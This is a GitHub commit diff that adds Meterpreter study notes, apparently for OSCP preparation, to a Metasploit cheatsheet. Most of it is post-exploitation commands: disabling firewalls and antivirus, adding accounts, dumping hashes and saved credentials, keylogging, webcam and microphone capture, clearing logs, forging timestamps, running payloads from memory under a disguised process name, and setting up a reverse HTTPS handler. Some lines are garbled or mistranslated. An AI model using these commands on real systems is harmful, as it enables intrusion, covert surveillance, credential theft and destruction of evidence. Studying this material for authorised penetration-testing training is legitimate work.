Skip to content

Commit 4689945

Browse files
more meterpreter and scripts
1 parent 83a73a4 commit 4689945

File tree

1 file changed

+155
-9
lines changed

1 file changed

+155
-9
lines changed

Cheatsheet_Metasploit&Meterpreter.txt

+155-9
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,5 @@
11
See [*Metasploit Unleashed Course*](https://www.offensive-security.com/metasploit-unleashed/)
22

3-
43
Search for exploits using Metasploit GitHub framework source code:
54
[*https://github.com/rapid7/metasploit-framework*](https://github.com/rapid7/metasploit-framework)
65
Translate them for use on OSCP LAB or EXAM.
@@ -108,31 +107,24 @@ msf exploit(eternalblue_doublepulsar) > run`
108107
Get system information from Meterpreter Shell
109108
`sysinfo`
110109

111-
112110
Get user id from Meterpreter Shell
113111
`getuid`
114112

115-
116113
Search for a file
117114
`search -f *pass*.txt`
118115

119-
120116
Upload a file
121117
`upload /usr/share/windows-binaries/nc.exe c:\\Users\\Offsec`
122118

123-
124119
Download a file
125120
`download c:\\Windows\\system32\\calc.exe /tmp/calc.exe`
126121

127-
128122
Invoke a command shell from Meterpreter Shell
129123
`shell`
130124

131-
132125
Exit the meterpreter shell
133126
`exit`
134127

135-
136128
Metasploit Exploit Multi Handler
137129
multi/handler to accept an incoming reverse\_https\_meterpreter
138130

@@ -145,7 +137,6 @@ exploit
145137
[*] Started HTTPS reverse handler on https://$ip:443/`
146138

147139

148-
149140
Building Your Own MSF Module
150141
`mkdir -p ~/.msf4/modules/exploits/linux/misc
151142
cd ~/.msf4/modules/exploits/linux/misc
@@ -168,6 +159,161 @@ Post Exploitation with Metasploit - (available options depend on OS and Meterpre
168159
`getsystem` Attempt to elevate your privilege to that of local system.
169160
`hashdump` Dumps the contents of the SAM database
170161

162+
---------------------------------------------------------------------------------------------------------------
163+
####Materpreter Study Notes
164+
165+
# Baisc system commands
166+
background # placed in the background of the current session
167+
Sessions # Sessions to see -h help
168+
sessions -i <ID value> # kill -k session into the session
169+
bgrun / RUN # implementation of the existing module, double-click the tab enter the run, has been listed Some scripts
170+
info # View existing module information
171+
getuid # View current user identity
172+
getprivs # View current user permissions
173+
getpid # Get current process ID (PID)
174+
sysinfo # View target machine system information
175+
irb # Open ruby terminal
176+
ps # View is running Process
177+
kill <PID value> # Kill the specified PID process
178+
idletime # View target idle time
179+
reboot / shutdown # Restart / Shutdown
180+
shell # Enter target cmd shell
181+
182+
# Common cmd commands
183+
Whoami # Current privilege
184+
quser # Query current online administrator
185+
net user # View existing user
186+
net user username/password/add # Add user and corresponding password
187+
net localgroup User group name username/add # Add the specified user to the specified user group
188+
netstat -ano # Query the current network connection communication in the computer, LISTENING indicates that the port is in the listening state; ESTABLISHED indicates that the port is in the working (communication) state
189+
systeminfo # View the details of the current computer
190+
tasklist /svc # View each process corresponding to services
191+
taskkill / f / im program name # name of the end of a specified program
192+
taskkill / f / PID ID # end of a specified process PID
193+
tasklist | findstr "string" # Find content specified output
194+
logoff # cancellation of a Specify the user's ID
195+
shutdown -r # Restart the current computer
196+
netsh adcfirewall setAllprofiles state off # Turn off the firewall
197+
198+
# Uictl switch keyboard / mouse
199+
Uictl [ enable/disable ] [ keyboard/mouse/all ] # enable or disable keyboard/mouse
200+
uictl disable mouse # disable mouse
201+
uictl disable keyboard # disable keyboard
202+
203+
# Execute executable file
204+
the Execute # executable file on the target machine
205+
execute -H -i -f cmd.exe create a new process cmd.exe #, -H invisible, -i interactive
206+
execute -H -m -d notepad.exe -f payload.exe - a "-o hack.txt"
207+
# -d Process name displayed during execution of the target host (for masquerading) -m Direct execution from memory
208+
"-o hack.txt" is the running parameter of payload.exe
209+
210+
# Migrate process migration
211+
Getpid # Get the current process's pid
212+
ps # View the current active process
213+
migrate <pid value> # Migrate the Meterpreter session to the specified pid value in the process
214+
kill <pid value> #kill the process
215+
216+
# Clearav clear log
217+
Clearav # Clear application logs, system logs, security logs in windows
218+
219+
# Timestomp forged timestamp
220+
Timestomp C: \\ -h
221+
View help timestomp -v C: \\ 2 .txt
222+
View timestamp timestomp C: \\ 2 .txt -f C: \\ 1 .txt #Copy the timestamp of 1.txt Give
223+
2. txt timestomp c: \\ test \\ 22 .txt -z "03/10/2019 11:55:55" -v # Set the four properties to uniform time
224+
225+
# Portfwd port forwarding
226+
Portfwd add -l 1111 -p 3389 -r 127 .0.0.1 #Forward the 3389 port of the target machine to the local port 1111
227+
rdesktop 127 .0.0.1:1111 # Need to enter the username and password to connect
228+
rdesktop -u Administrator -p 123 127 .0.0.1:1111 # -u username -p password
229+
230+
231+
# Autoroute add route
232+
run autoroute -h # View help
233+
run get_local_subnets # View target intranet segment address
234+
run autoroute -s 192 .168.183.0/24 # Add target network segment route
235+
run autoroute -p # View added route
236+
run post/windows/gather/arp_scanner RHOSTS = 192 .168.183.0/24
237+
run auxiliary/scanner/portscan/tcp RHOSTS = 192 .168.183.146 PORTS = 3389
238+
239+
# Socks agent
240+
Reference: https://www.freebuf.com/articles/network/125278.html
241+
use auxiliary/server/socks4a
242+
set srvhost 127 .0.0.1
243+
set srvport 2000
244+
run
245+
246+
# Common script
247+
Run arp_scanner -r 192 .168.183.1/24 # Use arp for surviving host scan
248+
run winenum # automate some detection scripts
249+
run credcollect # get user hash
250+
run domain_list_gen # get domain management account list
251+
run post/multi/gather/env # get User environment variable
252+
run post/windows/gather/enum_logged_on_users -c # List current login user
253+
run post/linux/gather/checkvm # virtual machine
254+
run post/windows/gather/checkvm # virtual machine
255+
run post/windows/gather/ Forensics/enum_drives # View memory information
256+
run post/windows/gather/enum_applications # Get installation software information
257+
run post/windows/gather/dumplinks # Get recently accessed documents, link information
258+
run post/windows/gather/enum_ie # Get IE cache
259+
run post/windows/gather/enum_firefox # Get firefox cache
260+
run post/windows/gather/enum_chrome # Get Chrome cache
261+
run post/multi/recon/local_exploit_suggester # Get local privilege vulnerability
262+
run post/windows/gather/enum_patches # Get patch information
263+
run post/windows/gather/enum_domain # Find domain control
264+
run post/windows/gather/enum_snmp # Get snmp community name
265+
run post/windows/gather/credentials/vnc # Get vnc password
266+
run post/windows/wlan/ Wlan_profile # Used to read the target host WiFi password
267+
run post/multi/gather/wlan_geolocate # Based on wlan, the location confirmation file is located at /root/.msf4/loot
268+
run post/windows/manage/killav close antivirus software
269+
270+
# Common crack module
271+
Auxiliary/scanner/mssql/mssql_login
272+
Auxiliary/scanner/ftp/ftp_login
273+
Auxiliary/scanner/ssh/ssh_login
274+
Auxiliary/scanner/telnet/telnet_login
275+
Auxiliary/scanner/smb/smb_login
276+
Auxiliary/scanner/mssql/mssql_login
277+
Auxiliary/scanner/mysql/mysql_login
278+
Auxiliary/scanner/oracle/oracle_login
279+
Auxiliary/scanner/postgres/postgres_login
280+
Auxiliary/scanner/vnc/vnc_login
281+
Auxiliary/scanner/pcanywhere/pcanywhere_login
282+
Auxiliary/scanner/snmp/snmp_login
283+
Auxiliary/scanner/ftp/anonymous
284+
285+
# Keylogger
286+
Keyscan_start # Start key record
287+
keyscan_dump # Export record data
288+
keyscan_stop # End key record
289+
290+
# Sniffer capture package
291+
Use sniffer
292+
Sniffer_interfaces # View NIC
293+
sniffer_start 1 # Select NIC 1 to start capturing
294+
sniffer_stats 1 # View NIC 1 status
295+
sniffer_dump 1 /tmp/wlan1.pcap # Export pcap packet
296+
sniffer_stop 1 # Stop NIC 1 capture
297+
sniffer_release 1 # Release NIC 1 traffic
298+
299+
# Webcam
300+
record_mic  # audio recording
301+
webcam_chat # open a video chat (the other party pop)
302+
webcam_list # view camera
303+
webcam_snap # through the camera to take pictures
304+
webcam_stream # open by video surveillance cameras (to monitor ≈ live as a web page)
305+
306+
# Screen capture
307+
Screenshot # Screenshots
308+
use espia # Use espia module
309+
screengrab # screenshot
310+
311+
# Getgui command
312+
run getgui –h # View help
313+
run getgui -e # Open remote desktop
314+
run getgui -u admin -p admin # Add user
315+
run getgui -f 6666 -e # 3389 port forward to 6666
316+
171317

172318
---------------------------------------------------------------------------------------------------------------
173319
CORE COMMANDS

0 commit comments

Comments
 (0)